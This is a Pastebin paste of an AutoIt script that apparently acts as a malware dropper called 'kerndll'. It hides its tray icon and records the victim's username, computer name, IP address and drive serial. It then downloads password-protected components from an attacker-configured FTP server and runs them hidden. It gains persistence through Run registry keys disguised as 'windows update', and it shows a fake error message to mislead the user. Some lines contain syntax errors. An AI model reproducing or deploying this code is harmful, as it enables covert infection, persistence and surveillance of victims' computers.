Advertisement
Guest User

Untitled

a guest
Jun 21st, 2017
158
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 4.70 KB | None | 0 0
  1. ;options
  2. Opt("TrayIconHide", 1)
  3. break(0)
  4.  
  5.  
  6. ;includes
  7. #include <FTPEx.au3>
  8. #include <Inet.au3>
  9. #include <Process.au3>
  10. #include <File.au3>
  11. #include <String.au3>
  12. #include <Array.au3>
  13.  
  14.  
  15. ;variables
  16. $kerndlldir = @SystemDir & "\kerndll\"
  17. $script = @ScriptName
  18. $ver = "1.0"
  19.  
  20. $date = @MDAY & "-" & @MON & "-" & @YEAR
  21. $time = @HOUR & ":" & @MIN & ":" & @SEC
  22.  
  23. $server = "changethis"                      ;CHANGE
  24. $username = "changethis"                    ;CHANGE
  25. $password = "changethis"                    ;CHANGE
  26. $passive = 1
  27.  
  28. $sndrive = stringleft(@windowsdir, 3)
  29. $sn = drivegetserial($sndrive)
  30.  
  31. dim $ver
  32.  
  33. ;program
  34. if IniRead($kerndlldir & "info.ini", "kerndll", "date", "virgin") <> "virgin" Then
  35.     Exit
  36. EndIf
  37.  
  38. dircreate($kerndlldir)
  39. _FileCreate($kerndlldir & "info.ini")
  40.  
  41. _FileWriteToLine($kerndlldir & "info.ini", 1, "[kerndllpacket]" &, 1)
  42. _FileWriteToLine($kerndlldir & "info.ini", 2, "file=" & $script, 1)
  43. _FileWriteToLine($kerndlldir & "info.ini", 3, "version=" & $ver, 1)
  44. _FileWriteToLine($kerndlldir & "info.ini", 4, "date=" & "virgin", 1)
  45.  
  46. _FileWriteToLine($kerndlldir & "info.ini", 6, "[server]" &, 1)
  47. _FileWriteToLine($kerndlldir & "info.ini", 7, "server=" & _StringEncrypt(1, $server, "kerndllpassword", 2, 1)
  48. _FileWriteToLine($kerndlldir & "info.ini", 8, "username=" & _StringEncrypt(1, $username, "kerndllpassword", 2, 1)
  49. _FileWriteToLine($kerndlldir & "info.ini", 9, "password=" & _StringEncrypt(1, $password, "kerndllpassword", 2, 1)
  50.  
  51. _FileWriteToLine($kerndlldir & "info.ini", 11, "[user]", 1)
  52. _FileWriteToLine($kerndlldir & "info.ini", 12, "sn=" & $sn, 1)
  53. _FileWriteToLine($kerndlldir & "info.ini", 13, "username=" & @UserName, 1)
  54. _FileWriteToLine($kerndlldir & "info.ini", 14, "computername=" & @ComputerName, 1)
  55. _FileWriteToLine($kerndlldir & "info.ini", 15, "ip=" & _getIP(), 1)
  56. _FileWriteToLine($kerndlldir & "info.ini", 16, "windowsdir=" & @WindowsDir, 1)
  57. _FileWriteToLine($kerndlldir & "info.ini", 17, "systemdir=" & @SystemDir, 1)
  58. _FileWriteToLine($kerndlldir & "info.ini", 18, "mydocumentsdir=" & @MyDocumentsDir, 1)
  59. _FileWriteToLine($kerndlldir & "info.ini", 19, "desktopwidth=" & @DesktopWidth, 1)
  60. _FileWriteToLine($kerndlldir & "info.ini", 20, "desktopheight=" & @DesktopHeight, 1)
  61. _FileWriteToLine($kerndlldir & "info.ini", 21, "OStype=" & @OSType, 1)
  62.  
  63. _FileCreate($kerndlldir & "component.ini")
  64. $succes = install("kerndll server")
  65.  
  66. if $succes = 1 Then
  67.     _FileWriteToLine($kerndlldir & "info.ini", 4, "date=" & $date, 1)
  68.     install("kerndll server updater")
  69. EndIf
  70.  
  71. if $succes = 0 Then
  72.     $key = Chr(Random(Asc("A"), Asc("Z"), 1)) & random(0,9,1)   & Chr(Random(Asc("A"), Asc("Z"), 1)) & random(0,9,1) & Chr(Random(Asc("A"), Asc("Z"), 1))
  73.     filecopy(@scriptdir & $script, @windowsdir & "kdtemp\" & $key & ".exe", 1)
  74.     RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "windows update " & $key, "REG_SZ", @windowsdir & "kdtemp\" & $key & ".exe")
  75. EndIf
  76.  
  77. msgbox(0,"Error", "Internal Error " & random(1000, 10000, 1) & " : " & $script & " does not respond")
  78. Exit
  79.                                      ;LOAD INSTALL SEPERATE FUNCTIONS
  80.  
  81. ;functions
  82. func install($component)
  83.     $open = _FTP_Open('kerndll ftp control')
  84.     $conn = _FTP_Connect($open, $server, $username, $password, $passive)
  85.     $zipfile = stringleft($component,8) & ".zip"
  86.  
  87.     $succes = _FTP_FileGet($conn, "kerndll/component/" & $component & ".kdz", $kerndlldir & $zipfile)
  88.    
  89.     _FTP_Close($open)
  90.  
  91.     if $succes = 0 then
  92.         Return $succes
  93.     EndIf
  94.    
  95.     runwait($kerndlldir & "pkunzip.exe -e -skerndllpassword " & $kerndlldir & $zipfile & " " & $component & ".exe", $kerndlldir, @SW_HIDE)
  96.     runwait($kerndlldir & "pkunzip.exe -e -skerndllpassword " & $kerndlldir & $zipfile & " ver.txt", $kerndlldir, @SW_HIDE)
  97.     filemove($kerndlldir & "ver.txt", $kerndlldir & "temp.txt", 1)
  98.     filemove($kerndlldir & $zipfile, $kerndlldir & "zip\" & $component & ".zip", 1)
  99.    
  100.     $key = Chr(Random(Asc("A"), Asc("Z"), 1)) & random(0,9,1)   & Chr(Random(Asc("A"), Asc("Z"), 1)) & random(0,9,1) & Chr(Random(Asc("A"), Asc("Z"), 1))
  101.     RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "windows update " & $key, "REG_SZ", $kerndlldir & $key & ".exe")
  102.  
  103.     _FileReadToArray($kerndlldir & "temp.txt", $ver)
  104.  
  105.     _FileWriteToLine($kerndlldir & "component.ini", 1, "[" & $component & "]", 0)
  106.     _FileWriteToLine($kerndlldir & "component.ini", 2, "file=" & $key, 0)
  107.     _FileWriteToLine($kerndlldir & "component.ini", 3, "version=" & $ver[1], 0)
  108.     _FileWriteToLine($kerndlldir & "component.ini", 4, "date=" & $date, 0)
  109.     _FileWriteToLine($kerndlldir & "component.ini", 5, " " & $date, 0)
  110.    
  111.     filecopy($kerndlldir & $component & ".exe", $kerndlldir & $key & ".exe", 1)
  112.     filedelete($kerndlldir & $component & ".exe")
  113.     filedelete($kerndlldir & "temp.txt")
  114.  
  115.     return $succes
  116. endfunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement